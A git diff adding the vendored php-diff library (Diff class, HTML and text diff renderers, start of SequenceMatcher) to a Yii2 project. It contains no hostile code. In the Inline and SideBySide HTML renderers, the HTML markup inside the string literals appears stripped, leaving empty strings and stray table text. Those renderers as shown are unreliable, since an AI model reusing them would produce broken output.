+ 'ignoreCase' => false + ); + + /** + * @var array Array of the options that have been applied for generating the diff. + */ + private $options = array(); + + /** + * The constructor. + * + * @param array $a Array containing the lines of the first string to compare. + * @param array $b Array containing the lines for the second string to compare. + * @param array $options + */ + public function __construct($a, $b, $options=array()) + { + $this->a = $a; + $this->b = $b; + + $this->options = array_merge($this->defaultOptions, $options); + } + + /** + * Render a diff using the supplied rendering class and return it. + * + * @param Diff_Renderer_Abstract $renderer An instance of the rendering object to use for generating the diff. + * @return mixed The generated diff. Exact return value depends on the rendered. + */ + public function render(Diff_Renderer_Abstract $renderer) + { + $renderer->diff = $this; + return $renderer->render(); + } + + /** + * Get a range of lines from $start to $end from the first comparison string + * and return them as an array. If no values are supplied, the entire string + * is returned. It's also possible to specify just one line to return only + * that line. + * + * @param int $start The starting number. + * @param int $end The ending number. If not supplied, only the item in $start will be returned. + * @return array Array of all of the lines between the specified range. + */ + public function getA($start=0, $end=null) + { + if($start == 0 && $end === null) { + return $this->a; + } + + if($end === null) { + $length = 1; + } + else { + $length = $end - $start; + } + + return array_slice($this->a, $start, $length); + + } + + /** + * Get a range of lines from $start to $end from the second comparison string + * and return them as an array. If no values are supplied, the entire string + * is returned. It's also possible to specify just one line to return only + * that line. + * + * @param int $start The starting number. + * @param int $end The ending number. If not supplied, only the item in $start will be returned. + * @return array Array of all of the lines between the specified range. + */ + public function getB($start=0, $end=null) + { + if($start == 0 && $end === null) { + return $this->b; + } + + if($end === null) { + $length = 1; + } + else { + $length = $end - $start; + } + + return array_slice($this->b, $start, $length); + } + + /** + * Generate a list of the compiled and grouped opcodes for the differences between the + * two strings. Generally called by the renderer, this class instantiates the sequence + * matcher and performs the actual diff generation and return an array of the opcodes + * for it. Once generated, the results are cached in the diff class instance. + * + * @return array Array of the grouped opcodes for the generated diff. + */ + public function getGroupedOpcodes() + { + if(!is_null($this->groupedCodes)) { + return $this->groupedCodes; + } + + require_once dirname(__FILE__).'/Diff/SequenceMatcher.php'; + $sequenceMatcher = new Diff_SequenceMatcher($this->a, $this->b, null, $this->options); + $this->groupedCodes = $sequenceMatcher->getGroupedOpcodes(); + return $this->groupedCodes; + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Abstract.php b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Abstract.php new file mode 100644 index 00000000..f63c3e7f --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Abstract.php @@ -0,0 +1,82 @@ + + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the Chris Boulton nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @package DiffLib + * @author Chris Boulton + * @copyright (c) 2009 Chris Boulton + * @license New BSD License http://www.opensource.org/licenses/bsd-license.php + * @version 1.1 + * @link http://github.com/chrisboulton/php-diff + */ + +abstract class Diff_Renderer_Abstract +{ + /** + * @var object Instance of the diff class that this renderer is generating the rendered diff for. + */ + public $diff; + + /** + * @var array Array of the default options that apply to this renderer. + */ + protected $defaultOptions = array(); + + /** + * @var array Array containing the user applied and merged default options for the renderer. + */ + protected $options = array(); + + /** + * The constructor. Instantiates the rendering engine and if options are passed, + * sets the options for the renderer. + * + * @param array $options Optionally, an array of the options for the renderer. + */ + public function __construct(array $options = array()) + { + $this->setOptions($options); + } + + /** + * Set the options of the renderer to those supplied in the passed in array. + * Options are merged with the default to ensure that there aren't any missing + * options. + * + * @param array $options Array of options to set. + */ + public function setOptions(array $options) + { + $this->options = array_merge($this->defaultOptions, $options); + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Html/Array.php b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Html/Array.php new file mode 100644 index 00000000..7113a174 --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Html/Array.php @@ -0,0 +1,225 @@ + + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the Chris Boulton nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @package DiffLib + * @author Chris Boulton + * @copyright (c) 2009 Chris Boulton + * @license New BSD License http://www.opensource.org/licenses/bsd-license.php + * @version 1.1 + * @link http://github.com/chrisboulton/php-diff + */ + +require_once dirname(__FILE__).'/../Abstract.php'; + +class Diff_Renderer_Html_Array extends Diff_Renderer_Abstract +{ + /** + * @var array Array of the default options that apply to this renderer. + */ + protected $defaultOptions = array( + 'tabSize' => 4 + ); + + /** + * Render and return an array structure suitable for generating HTML + * based differences. Generally called by subclasses that generate a + * HTML based diff and return an array of the changes to show in the diff. + * + * @return array An array of the generated chances, suitable for presentation in HTML. + */ + public function render() + { + // As we'll be modifying a & b to include our change markers, + // we need to get the contents and store them here. That way + // we're not going to destroy the original data + $a = $this->diff->getA(); + $b = $this->diff->getB(); + + $changes = array(); + $opCodes = $this->diff->getGroupedOpcodes(); + foreach($opCodes as $group) { + $blocks = array(); + $lastTag = null; + $lastBlock = 0; + foreach($group as $code) { + list($tag, $i1, $i2, $j1, $j2) = $code; + + if($tag == 'replace' && $i2 - $i1 == $j2 - $j1) { + for($i = 0; $i < ($i2 - $i1); ++$i) { + $fromLine = $a[$i1 + $i]; + $toLine = $b[$j1 + $i]; + + list($start, $end) = $this->getChangeExtent($fromLine, $toLine); + if($start != 0 || $end != 0) { + $last = $end + strlen($fromLine); + $fromLine = substr_replace($fromLine, "\0", $start, 0); + $fromLine = substr_replace($fromLine, "\1", $last + 1, 0); + $last = $end + strlen($toLine); + $toLine = substr_replace($toLine, "\0", $start, 0); + $toLine = substr_replace($toLine, "\1", $last + 1, 0); + $a[$i1 + $i] = $fromLine; + $b[$j1 + $i] = $toLine; + } + } + } + + if($tag != $lastTag) { + $blocks[] = array( + 'tag' => $tag, + 'base' => array( + 'offset' => $i1, + 'lines' => array() + ), + 'changed' => array( + 'offset' => $j1, + 'lines' => array() + ) + ); + $lastBlock = count($blocks)-1; + } + + $lastTag = $tag; + + if($tag == 'equal') { + $lines = array_slice($a, $i1, ($i2 - $i1)); + $blocks[$lastBlock]['base']['lines'] += $this->formatLines($lines); + $lines = array_slice($b, $j1, ($j2 - $j1)); + $blocks[$lastBlock]['changed']['lines'] += $this->formatLines($lines); + } + else { + if($tag == 'replace' || $tag == 'delete') { + $lines = array_slice($a, $i1, ($i2 - $i1)); + $lines = $this->formatLines($lines); + $lines = str_replace(array("\0", "\1"), array('', ''), $lines); + $blocks[$lastBlock]['base']['lines'] += $lines; + } + + if($tag == 'replace' || $tag == 'insert') { + $lines = array_slice($b, $j1, ($j2 - $j1)); + $lines = $this->formatLines($lines); + $lines = str_replace(array("\0", "\1"), array('', ''), $lines); + $blocks[$lastBlock]['changed']['lines'] += $lines; + } + } + } + $changes[] = $blocks; + } + return $changes; + } + + /** + * Given two strings, determine where the changes in the two strings + * begin, and where the changes in the two strings end. + * + * @param string $fromLine The first string. + * @param string $toLine The second string. + * @return array Array containing the starting position (0 by default) and the ending position (-1 by default) + */ + private function getChangeExtent($fromLine, $toLine) + { + $start = 0; + $limit = min(strlen($fromLine), strlen($toLine)); + while($start < $limit && $fromLine{$start} == $toLine{$start}) { + ++$start; + } + $end = -1; + $limit = $limit - $start; + while(-$end <= $limit && substr($fromLine, $end, 1) == substr($toLine, $end, 1)) { + --$end; + } + return array( + $start, + $end + 1 + ); + } + + /** + * Format a series of lines suitable for output in a HTML rendered diff. + * This involves replacing tab characters with spaces, making the HTML safe + * for output, ensuring that double spaces are replaced with   etc. + * + * @param array $lines Array of lines to format. + * @return array Array of the formatted lines. + */ + private function formatLines($lines) + { + $lines = array_map(array($this, 'ExpandTabs'), $lines); + $lines = array_map(array($this, 'HtmlSafe'), $lines); + foreach($lines as &$line) { + $line = preg_replace_callback('# ( +)|^ #', __CLASS__."::fixSpaces", $line); + } + return $lines; + } + + /** + * Replace a string containing spaces with a HTML representation using  . + * + * @param string $matches Regex matches array. + * @return string The HTML representation of the string. + */ + public static function fixSpaces($matches) + { + $spaces = isset($matches[1]) ? $matches[1] : ''; + $count = strlen($spaces); + if($count == 0) { + return ''; + } + + $div = floor($count / 2); + $mod = $count % 2; + return str_repeat('  ', $div).str_repeat(' ', $mod); + } + + /** + * Replace tabs in a single line with a number of spaces as defined by the tabSize option. + * + * @param string $line The containing tabs to convert. + * @return string The line with the tabs converted to spaces. + */ + private function expandTabs($line) + { + return str_replace("\t", str_repeat(' ', $this->options['tabSize']), $line); + } + + /** + * Make a string containing HTML safe for output on a page. + * + * @param string $string The string. + * @return string The string with the HTML characters replaced by entities. + */ + private function htmlSafe($string) + { + return htmlspecialchars($string, ENT_NOQUOTES, 'UTF-8'); + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Html/Inline.php b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Html/Inline.php new file mode 100644 index 00000000..60e8005a --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Html/Inline.php @@ -0,0 +1,143 @@ + + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the Chris Boulton nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @package DiffLib + * @author Chris Boulton + * @copyright (c) 2009 Chris Boulton + * @license New BSD License http://www.opensource.org/licenses/bsd-license.php + * @version 1.1 + * @link http://github.com/chrisboulton/php-diff + */ + +require_once dirname(__FILE__).'/Array.php'; + +class Diff_Renderer_Html_Inline extends Diff_Renderer_Html_Array +{ + /** + * Render a and return diff with changes between the two sequences + * displayed inline (under each other) + * + * @return string The generated inline diff. + */ + public function render() + { + $changes = parent::render(); + $html = ''; + if(empty($changes)) { + return $html; + } + + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + foreach($changes as $i => $blocks) { + // If this is a separate block, we're condensing code so output ..., + // indicating a significant portion of the code has been collapsed as + // it is the same + if($i > 0) { + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + + foreach($blocks as $change) { + $html .= ''; + // Equal changes should be shown on both sides of the diff + if($change['tag'] == 'equal') { + foreach($change['base']['lines'] as $no => $line) { + $fromLine = $change['base']['offset'] + $no + 1; + $toLine = $change['changed']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + } + // Added lines only on the right side + else if($change['tag'] == 'insert') { + foreach($change['changed']['lines'] as $no => $line) { + $toLine = $change['changed']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + } + // Show deleted lines only on the left side + else if($change['tag'] == 'delete') { + foreach($change['base']['lines'] as $no => $line) { + $fromLine = $change['base']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + } + // Show modified lines on both sides + else if($change['tag'] == 'replace') { + foreach($change['base']['lines'] as $no => $line) { + $fromLine = $change['base']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + + foreach($change['changed']['lines'] as $no => $line) { + $toLine = $change['changed']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + } + $html .= ''; + } + } + $html .= '
              OldNewDifferences
               
              '.$fromLine.''.$toLine.''.$line.'
               '.$toLine.''.$line.' 
              '.$fromLine.' '.$line.' 
              '.$fromLine.' '.$line.'
              '.$toLine.' '.$line.'
              '; + return $html; + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Html/SideBySide.php b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Html/SideBySide.php new file mode 100644 index 00000000..307af1c3 --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Html/SideBySide.php @@ -0,0 +1,163 @@ + + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the Chris Boulton nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @package DiffLib + * @author Chris Boulton + * @copyright (c) 2009 Chris Boulton + * @license New BSD License http://www.opensource.org/licenses/bsd-license.php + * @version 1.1 + * @link http://github.com/chrisboulton/php-diff + */ + +require_once dirname(__FILE__).'/Array.php'; + +class Diff_Renderer_Html_SideBySide extends Diff_Renderer_Html_Array +{ + /** + * Render a and return diff with changes between the two sequences + * displayed side by side. + * + * @return string The generated side by side diff. + */ + public function render() + { + $changes = parent::render(); + + $html = ''; + if(empty($changes)) { + return $html; + } + + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + foreach($changes as $i => $blocks) { + if($i > 0) { + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + + foreach($blocks as $change) { + $html .= ''; + // Equal changes should be shown on both sides of the diff + if($change['tag'] == 'equal') { + foreach($change['base']['lines'] as $no => $line) { + $fromLine = $change['base']['offset'] + $no + 1; + $toLine = $change['changed']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + } + // Added lines only on the right side + else if($change['tag'] == 'insert') { + foreach($change['changed']['lines'] as $no => $line) { + $toLine = $change['changed']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + } + // Show deleted lines only on the left side + else if($change['tag'] == 'delete') { + foreach($change['base']['lines'] as $no => $line) { + $fromLine = $change['base']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + $html .= ''; + } + } + // Show modified lines on both sides + else if($change['tag'] == 'replace') { + if(count($change['base']['lines']) >= count($change['changed']['lines'])) { + foreach($change['base']['lines'] as $no => $line) { + $fromLine = $change['base']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + if(!isset($change['changed']['lines'][$no])) { + $toLine = ' '; + $changedLine = ' '; + } + else { + $toLine = $change['base']['offset'] + $no + 1; + $changedLine = ''.$change['changed']['lines'][$no].''; + } + $html .= ''; + $html .= ''; + $html .= ''; + } + } + else { + foreach($change['changed']['lines'] as $no => $changedLine) { + if(!isset($change['base']['lines'][$no])) { + $fromLine = ' '; + $line = ' '; + } + else { + $fromLine = $change['base']['offset'] + $no + 1; + $line = ''.$change['base']['lines'][$no].''; + } + $html .= ''; + $html .= ''; + $html .= ''; + $toLine = $change['changed']['offset'] + $no + 1; + $html .= ''; + $html .= ''; + $html .= ''; + } + } + } + $html .= ''; + } + } + $html .= '
              Old VersionNew Version
                
              '.$fromLine.''.$line.' '.$toLine.''.$line.' 
                '.$toLine.''.$line.' 
              '.$fromLine.''.$line.'   
              '.$fromLine.''.$line.' '.$toLine.''.$changedLine.'
              '.$fromLine.''.$line.' '.$toLine.''.$changedLine.'
              '; + return $html; + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Text/Context.php b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Text/Context.php new file mode 100644 index 00000000..1200b01c --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Text/Context.php @@ -0,0 +1,128 @@ + + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the Chris Boulton nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @package DiffLib + * @author Chris Boulton + * @copyright (c) 2009 Chris Boulton + * @license New BSD License http://www.opensource.org/licenses/bsd-license.php + * @version 1.1 + * @link http://github.com/chrisboulton/php-diff + */ + +require_once dirname(__FILE__).'/../Abstract.php'; + +class Diff_Renderer_Text_Context extends Diff_Renderer_Abstract +{ + /** + * @var array Array of the different opcode tags and how they map to the context diff equivalent. + */ + private $tagMap = array( + 'insert' => '+', + 'delete' => '-', + 'replace' => '!', + 'equal' => ' ' + ); + + /** + * Render and return a context formatted (old school!) diff file. + * + * @return string The generated context diff. + */ + public function render() + { + $diff = ''; + $opCodes = $this->diff->getGroupedOpcodes(); + foreach($opCodes as $group) { + $diff .= "***************\n"; + $lastItem = count($group)-1; + $i1 = $group[0][1]; + $i2 = $group[$lastItem][2]; + $j1 = $group[0][3]; + $j2 = $group[$lastItem][4]; + + if($i2 - $i1 >= 2) { + $diff .= '*** '.($group[0][1] + 1).','.$i2." ****\n"; + } + else { + $diff .= '*** '.$i2." ****\n"; + } + + if($j2 - $j1 >= 2) { + $separator = '--- '.($j1 + 1).','.$j2." ----\n"; + } + else { + $separator = '--- '.$j2." ----\n"; + } + + $hasVisible = false; + foreach($group as $code) { + if($code[0] == 'replace' || $code[0] == 'delete') { + $hasVisible = true; + break; + } + } + + if($hasVisible) { + foreach($group as $code) { + list($tag, $i1, $i2, $j1, $j2) = $code; + if($tag == 'insert') { + continue; + } + $diff .= $this->tagMap[$tag].' '.implode("\n".$this->tagMap[$tag].' ', $this->diff->GetA($i1, $i2))."\n"; + } + } + + $hasVisible = false; + foreach($group as $code) { + if($code[0] == 'replace' || $code[0] == 'insert') { + $hasVisible = true; + break; + } + } + + $diff .= $separator; + + if($hasVisible) { + foreach($group as $code) { + list($tag, $i1, $i2, $j1, $j2) = $code; + if($tag == 'delete') { + continue; + } + $diff .= $this->tagMap[$tag].' '.implode("\n".$this->tagMap[$tag].' ', $this->diff->GetB($j1, $j2))."\n"; + } + } + } + return $diff; + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Text/Unified.php b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Text/Unified.php new file mode 100644 index 00000000..e94d951d --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/Renderer/Text/Unified.php @@ -0,0 +1,87 @@ + + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the Chris Boulton nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @package DiffLib + * @author Chris Boulton + * @copyright (c) 2009 Chris Boulton + * @license New BSD License http://www.opensource.org/licenses/bsd-license.php + * @version 1.1 + * @link http://github.com/chrisboulton/php-diff + */ + +require_once dirname(__FILE__).'/../Abstract.php'; + +class Diff_Renderer_Text_Unified extends Diff_Renderer_Abstract +{ + /** + * Render and return a unified diff. + * + * @return string The unified diff. + */ + public function render() + { + $diff = ''; + $opCodes = $this->diff->getGroupedOpcodes(); + foreach($opCodes as $group) { + $lastItem = count($group)-1; + $i1 = $group[0][1]; + $i2 = $group[$lastItem][2]; + $j1 = $group[0][3]; + $j2 = $group[$lastItem][4]; + + if($i1 == 0 && $i2 == 0) { + $i1 = -1; + $i2 = -1; + } + + $diff .= '@@ -'.($i1 + 1).','.($i2 - $i1).' +'.($j1 + 1).','.($j2 - $j1)." @@\n"; + foreach($group as $code) { + list($tag, $i1, $i2, $j1, $j2) = $code; + if($tag == 'equal') { + $diff .= ' '.implode("\n ", $this->diff->GetA($i1, $i2))."\n"; + } + else { + if($tag == 'replace' || $tag == 'delete') { + $diff .= '-'.implode("\n-", $this->diff->GetA($i1, $i2))."\n"; + } + + if($tag == 'replace' || $tag == 'insert') { + $diff .= '+'.implode("\n+", $this->diff->GetB($j1, $j2))."\n"; + } + } + } + } + return $diff; + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/SequenceMatcher.php b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/SequenceMatcher.php new file mode 100644 index 00000000..67a903b3 --- /dev/null +++ b/php/yii2/basic/vendor/phpspec/php-diff/lib/Diff/SequenceMatcher.php @@ -0,0 +1,748 @@ + + * + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the Chris Boulton nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + * @package Diff + * @author Chris Boulton + * @copyright (c) 2009 Chris Boulton + * @license New BSD License http://www.opensource.org/licenses/bsd-license.php + * @version 1.1 + * @link http://github.com/chrisboulton/php-diff + */ + +class Diff_SequenceMatcher +{ + /** + * @var string|array Either a string or an array containing a callback function to determine if a line 